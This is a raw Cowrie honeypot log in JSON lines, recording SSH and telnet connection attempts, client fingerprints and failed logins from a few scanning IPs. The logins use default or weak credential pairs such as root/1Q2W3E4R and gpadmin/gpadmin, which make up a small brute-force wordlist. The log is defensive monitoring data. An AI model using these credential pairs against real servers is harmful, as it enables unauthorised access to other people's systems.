{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:32.500970Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:32.505193Z","src_ip":"193.151.144.93","session":"d0a0bce53428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59650,"dst_ip":"10.17.0.5","dst_port":22,"session":"efdd034ecf59","protocol":"ssh","message":"New connection: 193.151.144.93:59650 (10.17.0.5:22) [session: efdd034ecf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:36.267349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:36.272382Z","src_ip":"193.151.144.93","session":"efdd034ecf59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:36.445026Z","src_ip":"193.151.144.93","session":"efdd034ecf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42542,"dst_ip":"159.203.135.109","dst_port":23,"session":"14210e6cd1e6","protocol":"telnet","message":"New connection: 69.4.83.194:42542 (159.203.135.109:23) [session: 14210e6cd1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:36.601652Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:36.950701Z","src_ip":"193.151.144.93","session":"efdd034ecf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:38.121661Z","src_ip":"193.151.144.93","session":"efdd034ecf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.61575412750244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:39.667169Z","src_ip":"69.4.83.194","session":"b79387007ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58966,"dst_ip":"10.17.0.5","dst_port":22,"session":"e012acc9062e","protocol":"ssh","message":"New connection: 193.151.144.93:58966 (10.17.0.5:22) [session: e012acc9062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:41.649139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:41.653732Z","src_ip":"193.151.144.93","session":"e012acc9062e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:41.818650Z","src_ip":"193.151.144.93","session":"e012acc9062e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:42.334137Z","src_ip":"193.151.144.93","session":"e012acc9062e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:43.506957Z","src_ip":"193.151.144.93","session":"e012acc9062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58970,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f65ca99618","protocol":"ssh","message":"New connection: 193.151.144.93:58970 (10.17.0.5:22) [session: 47f65ca99618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:47.037514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:47.041873Z","src_ip":"193.151.144.93","session":"47f65ca99618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:47.210853Z","src_ip":"193.151.144.93","session":"47f65ca99618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:47.755180Z","src_ip":"193.151.144.93","session":"47f65ca99618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":47742,"dst_ip":"159.203.135.109","dst_port":23,"session":"400f53fa285e","protocol":"telnet","message":"New connection: 50.62.181.92:47742 (159.203.135.109:23) [session: 400f53fa285e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:48.850298Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:48.927853Z","src_ip":"193.151.144.93","session":"47f65ca99618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60816,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f5fe7ee849","protocol":"ssh","message":"New connection: 193.151.144.93:60816 (10.17.0.5:22) [session: b2f5fe7ee849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:53.156010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:53.159818Z","src_ip":"193.151.144.93","session":"b2f5fe7ee849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:53.324546Z","src_ip":"193.151.144.93","session":"b2f5fe7ee849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:53.818248Z","src_ip":"193.151.144.93","session":"b2f5fe7ee849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:54.986182Z","src_ip":"193.151.144.93","session":"b2f5fe7ee849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c843363bff0","protocol":"ssh","message":"New connection: 193.151.144.93:60826 (10.17.0.5:22) [session: 5c843363bff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:58.641971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:58.648397Z","src_ip":"193.151.144.93","session":"5c843363bff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:58.815682Z","src_ip":"193.151.144.93","session":"5c843363bff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:59:59.382086Z","src_ip":"193.151.144.93","session":"5c843363bff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:00.553055Z","src_ip":"193.151.144.93","session":"5c843363bff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49428,"dst_ip":"10.17.0.5","dst_port":22,"session":"5947aa403f2d","protocol":"ssh","message":"New connection: 193.151.144.93:49428 (10.17.0.5:22) [session: 5947aa403f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:04.338011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:04.344044Z","src_ip":"193.151.144.93","session":"5947aa403f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:04.515585Z","src_ip":"193.151.144.93","session":"5947aa403f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:05.032784Z","src_ip":"193.151.144.93","session":"5947aa403f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50140,"dst_ip":"159.203.135.109","dst_port":22,"session":"050d25ff946d","protocol":"ssh","message":"New connection: 193.228.128.84:50140 (159.203.135.109:22) [session: 050d25ff946d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:07.241800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:07.247283Z","src_ip":"193.228.128.84","session":"050d25ff946d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:07.351886Z","src_ip":"193.228.128.84","session":"050d25ff946d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopw","message":"login attempt [root/qwertyuiopw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:07.690021Z","src_ip":"193.228.128.84","session":"050d25ff946d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:07.902103Z","src_ip":"193.151.144.93","session":"5947aa403f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.79058051109314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:08.392240Z","src_ip":"69.4.83.194","session":"14210e6cd1e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:08.797191Z","src_ip":"193.228.128.84","session":"050d25ff946d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49438,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a7c16aa5d2","protocol":"ssh","message":"New connection: 193.151.144.93:49438 (10.17.0.5:22) [session: 66a7c16aa5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:09.818235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:09.824769Z","src_ip":"193.151.144.93","session":"66a7c16aa5d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:09.991473Z","src_ip":"193.151.144.93","session":"66a7c16aa5d2","protocol":"ssh"}
